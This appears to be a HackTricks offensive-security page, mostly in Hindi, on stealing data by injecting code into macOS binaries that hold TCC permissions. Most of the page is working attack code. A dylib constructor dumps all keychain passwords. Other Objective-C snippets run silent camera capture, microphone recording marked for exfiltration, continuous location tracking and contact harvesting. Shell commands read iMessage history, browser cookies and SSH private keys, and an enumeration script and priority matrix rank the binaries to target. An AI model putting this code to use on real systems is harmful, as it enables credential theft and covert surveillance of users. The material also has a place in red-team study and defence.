macOS क्रेडेंशियल और डेटा चोरी (TCC Permissions)

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

अवलोकन

macOS TCC (Transparency, Consent, and Control) संवेदनशील उपयोगकर्ता डेटा तक पहुँच की सुरक्षा करता है। जब कोई attacker compromises a binary that already has TCC grants, तो वह उन permissions को विरासत में ले लेता है। यह पेज डेटा-चोरी से संबंधित प्रत्येक TCC permission के exploitation संभावनाओं को डॉक्युमेंट करता है।

Warning

Code injection into a TCC-granted binary (via DYLD injection, dylib hijacking, or task port) silently inherits all its TCC permissions. जब वही process सुरक्षित डेटा पढ़ता है, तो कोई अतिरिक्त prompt या verification नहीं होता है।


Keychain Access Groups

इनाम

macOS Keychain में संग्रहीत:

  • Wi-Fi passwords — सभी सहेजे गए वायरलेस नेटवर्क क्रेडेंशियल्स
  • Website passwords — Safari, Chrome (when using Keychain), और अन्य ब्राउज़र के पासवर्ड
  • Application passwords — ईमेल खाते, VPN क्रेडेंशियल, development tokens
  • Certificates and private keys — code signing, client TLS, S/MIME एन्क्रिप्शन
  • Secure notes — उपयोगकर्ता द्वारा स्टोर किए गए secrets

Entitlement: keychain-access-groups

Keychain आइटम्स को access groups में व्यवस्थित किया जाता है। किसी एप्लिकेशन का keychain-access-groups entitlement यह सूचीबद्ध करता है कि वह किन समूहों तक पहुँच सकता है:

<key>keychain-access-groups</key>
<array>
<string>com.apple.cfnetwork</string>   <!-- Network passwords -->
<string>com.apple.security.personal-information.identity</string>  <!-- Personal certs -->
<string>apple</string>                  <!-- Broad Apple group -->
<string>InternetAccounts</string>       <!-- Internet account passwords -->
</array>

Exploitation

# Find binaries with broad keychain access groups
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE entitlementsString LIKE '%keychain-access-groups%'
AND isAppleBin = 0
ORDER BY privileged DESC;"

# If you can inject into such a binary, enumerate keychain items:
security dump-keychain -d ~/Library/Keychains/login.keychain-db 2>&1 | head -100

# Find specific passwords
security find-generic-password -s "Wi-Fi" -w 2>&1
security find-internet-password -s "github.com" 2>&1

Code Injection → Keychain Theft

// Injected dylib code — runs with the target's keychain groups
#import <Security/Security.h>

__attribute__((constructor))
void dumpKeychain(void) {
NSDictionary *query = @{
(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnAttributes: @YES,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecMatchLimit: (__bridge id)kSecMatchLimitAll
};

CFArrayRef results = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, (CFTypeRef *)&results);

if (status == errSecSuccess) {
NSArray *items = (__bridge NSArray *)results;
for (NSDictionary *item in items) {
NSString *service = item[(__bridge id)kSecAttrService];
NSString *account = item[(__bridge id)kSecAttrAccount];
NSData *passData = item[(__bridge id)kSecValueData];
NSString *password = [[NSString alloc] initWithData:passData encoding:NSUTF8StringEncoding];
// service, account, password — the full credential triple
}
}
}

Camera Access (kTCCServiceCamera)

Exploitation

camera TCC grant वाली binary (kTCCServiceCamera या com.apple.security.device.camera entitlement के माध्यम से) तस्वीरें और वीडियो कैप्चर कर सकती है:

# Find camera-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceCamera' AND auth_value=2;"

Silent Capture

// Injected into a camera-entitled process
#import <AVFoundation/AVFoundation.h>

@interface SilentCapture : NSObject <AVCaptureVideoDataOutputSampleBufferDelegate>
@property (strong) AVCaptureSession *session;
@end

@implementation SilentCapture
- (void)startCapture {
self.session = [[AVCaptureSession alloc] init];
AVCaptureDevice *camera = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:camera error:nil];
[self.session addInput:input];

AVCaptureVideoDataOutput *output = [[AVCaptureVideoDataOutput alloc] init];
[output setSampleBufferDelegate:self queue:dispatch_get_global_queue(0, 0)];
[self.session addOutput:output];

[self.session startRunning];
// Camera LED turns on — but a brief capture may go unnoticed
}

- (void)captureOutput:(AVCaptureOutput *)output
didOutputSampleBuffer:(CMSampleBufferRef)sampleBuffer
fromConnection:(AVCaptureConnection *)connection {
// Each frame can be saved to disk or exfiltrated
// Stop after capturing a few frames to minimize LED time
[self.session stopRunning];
}
@end

Tip

macOS Sonoma से शुरू करते हुए, मेनू बार में कैमरा संकेतक स्थायी रहता है और इसे प्रोग्राम के माध्यम से छिपाया नहीं जा सकता। older macOS versions पर, एक संक्षिप्त कैप्चर एक स्पष्ट संकेतक पैदा नहीं कर सकता।


माइक्रोफोन एक्सेस (kTCCServiceMicrophone)

Exploitation

माइक्रोफोन एक्सेस बिल्ट-इन माइक, हेडसेट, या जुड़े हुए ऑडियो इनपुट डिवाइसों से सभी ऑडियो कैप्चर करता है:

# Find mic-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceMicrophone' AND auth_value=2;"

हमला: Ambient Recording

// Injected into a mic-entitled process
#import <AVFoundation/AVFoundation.h>

- (void)recordAudio {
NSURL *url = [NSURL fileURLWithPath:@"/tmp/recording.m4a"];
NSDictionary *settings = @{
AVFormatIDKey: @(kAudioFormatMPEG4AAC),
AVSampleRateKey: @44100.0,
AVNumberOfChannelsKey: @1
};
AVAudioRecorder *recorder = [[AVAudioRecorder alloc] initWithURL:url settings:settings error:nil];
[recorder record];
// Records everything: conversations, phone calls, ambient audio

// Stop after a duration
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 60 * NSEC_PER_SEC),
dispatch_get_main_queue(), ^{
[recorder stop];
// Exfiltrate /tmp/recording.m4a
});
}

स्थान ट्रैकिंग (kTCCServiceLocation)

शोषण

# Find location-authorized binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service LIKE '%Location%' AND auth_value=2;"

निरंतर ट्रैकिंग

#import <CoreLocation/CoreLocation.h>

@interface Tracker : NSObject <CLLocationManagerDelegate>
@end

@implementation Tracker
- (void)startTracking {
CLLocationManager *mgr = [[CLLocationManager alloc] init];
mgr.delegate = self;
mgr.desiredAccuracy = kCLLocationAccuracyBest;
[mgr startUpdatingLocation];
}

- (void)locationManager:(CLLocationManager *)manager
didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *loc = locations.lastObject;
// loc.coordinate.latitude, loc.coordinate.longitude
// Reveals: home address, work address, travel patterns, daily routine
NSString *entry = [NSString stringWithFormat:@"%f,%f,%@\n",
loc.coordinate.latitude, loc.coordinate.longitude, [NSDate date]];
// Append to tracking log
}
@end

संपर्क / कैलेंडर / फ़ोटो

व्यक्तिगत डेटा की निकासी

TCC सेवाफ़्रेमवर्कडेटा
kTCCServiceAddressBookContacts.frameworkनाम, ईमेल, फ़ोन, पते
kTCCServiceCalendarEventKitबैठकें, उपस्थित व्यक्ति, स्थान
kTCCServicePhotosPhotos.frameworkफ़ोटो, स्क्रीनशॉट, स्थान मेटाडेटा
# Find authorized binaries for each service
for svc in kTCCServiceAddressBook kTCCServiceCalendar kTCCServicePhotos; do
echo "=== $svc ==="
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='$svc' AND auth_value=2;"
done

संपर्क संग्रह

#import <Contacts/Contacts.h>

CNContactStore *store = [[CNContactStore alloc] init];
NSArray *keys = @[CNContactGivenNameKey, CNContactFamilyNameKey,
CNContactEmailAddressesKey, CNContactPhoneNumbersKey];
CNContactFetchRequest *request = [[CNContactFetchRequest alloc] initWithKeysToFetch:keys];

[store enumerateContactsWithFetchRequest:request error:nil
usingBlock:^(CNContact *contact, BOOL *stop) {
// contact.givenName, contact.familyName
// contact.emailAddresses, contact.phoneNumbers
// All contacts exfiltrated for social engineering / spear phishing
}];

iCloud अकाउंट एक्सेस

Entitlement: com.apple.private.icloud-account-access

यह entitlement com.apple.iCloudHelper XPC सेवा के साथ संचार करने की अनुमति देता है, और निम्न तक पहुँच प्रदान करता है:

  • iCloud tokens — उपयोगकर्ता के Apple ID के लिए प्रमाणीकरण टोकन
  • iCloud Drive — सभी डिवाइसों के सिंक किए गए दस्तावेज़
  • iCloud Keychain — सभी Apple डिवाइसों में सिंक किए गए पासवर्ड
  • Find My — उपयोगकर्ता के सभी Apple डिवाइसों का स्थान
# Find iCloud-entitled binaries
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE iCloudAccs = 1
ORDER BY privileged DESC;"

Caution

iCloud-entitled binary से समझौता करने पर हमला एकल डिवाइस से पूरे Apple ecosystem तक फैल जाता है: अन्य Macs, iPhones, iPads, Apple Watch. iCloud Keychain sync का मतलब है कि सभी डिवाइसों के पासवर्ड पहुंच योग्य हो जाते हैं।


Full Disk Access (kTCCServiceSystemPolicyAllFiles)

सबसे शक्तिशाली TCC अनुमति

Full Disk Access सिस्टम पर हर फ़ाइल को पढ़ने की क्षमता देता है, जिसमें शामिल हैं:

  • अन्य ऐप्स का डेटा (Messages, Mail, Safari history)
  • TCC databases (सभी अन्य अनुमतियों का खुलासा)
  • SSH keys और कॉन्फ़िगरेशन
  • ब्राउज़र कूकीज़ और सेशन टोकन
  • एप्लिकेशन डेटाबेस और कैश
# Find FDA-granted binaries
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT client FROM access WHERE service='kTCCServiceSystemPolicyAllFiles' AND auth_value=2;"

# With FDA, read anything:
cat ~/Library/Messages/chat.db              # iMessage history
cat ~/Library/Safari/History.db             # Safari browsing history
cat ~/Library/Cookies/Cookies.binarycookies # Browser cookies
cat ~/.ssh/id_rsa                           # SSH private key

Exploitation प्राथमिकता मैट्रिक्स

जब injectable TCC-granted binaries का आकलन कर रहे हों, तो डेटा के मूल्य के आधार पर प्राथमिकता दें:

प्राथमिकताTCC अनुमतिक्यों
अत्यधिकFull Disk Accessसब कुछ तक पहुँच
अत्यधिकTCC Managerकिसी भी अनुमति को दे सकता है
उच्चKeychain Access Groupsसभी संग्रहीत पासवर्ड
उच्चiCloud Account Accessकई डिवाइसों का समझौता
उच्चInput Monitoring (ListenEvent)Keylogging
उच्चAccessibilityGUI नियंत्रण, self-granting
मध्यमScreen Captureदृश्य डेटा कैप्चर
मध्यमCamera + Microphoneनिगरानी
मध्यमContacts + Calendarsocial engineering डेटा
निम्नLocationभौतिक ट्रैकिंग
निम्नPhotosव्यक्तिगत डेटा

Enumeration Script

#!/bin/bash
echo "=== TCC Credential Theft Surface Audit ==="

echo -e "\n[*] High-value TCC grants (injectable binaries):"
sqlite3 /tmp/executables.db "
SELECT path, tccPermsStr FROM executables
WHERE (noLibVal = 1 OR allowDyldEnv = 1)
AND tccPermsStr IS NOT NULL
AND tccPermsStr != ''
ORDER BY privileged DESC
LIMIT 30;" 2>/dev/null

echo -e "\n[*] Keychain-entitled injectable binaries:"
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE entitlementsString LIKE '%keychain-access-groups%'
AND (noLibVal = 1 OR allowDyldEnv = 1);" 2>/dev/null

echo -e "\n[*] iCloud-entitled binaries:"
sqlite3 /tmp/executables.db "
SELECT path FROM executables WHERE iCloudAccs = 1;" 2>/dev/null

संदर्भ

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें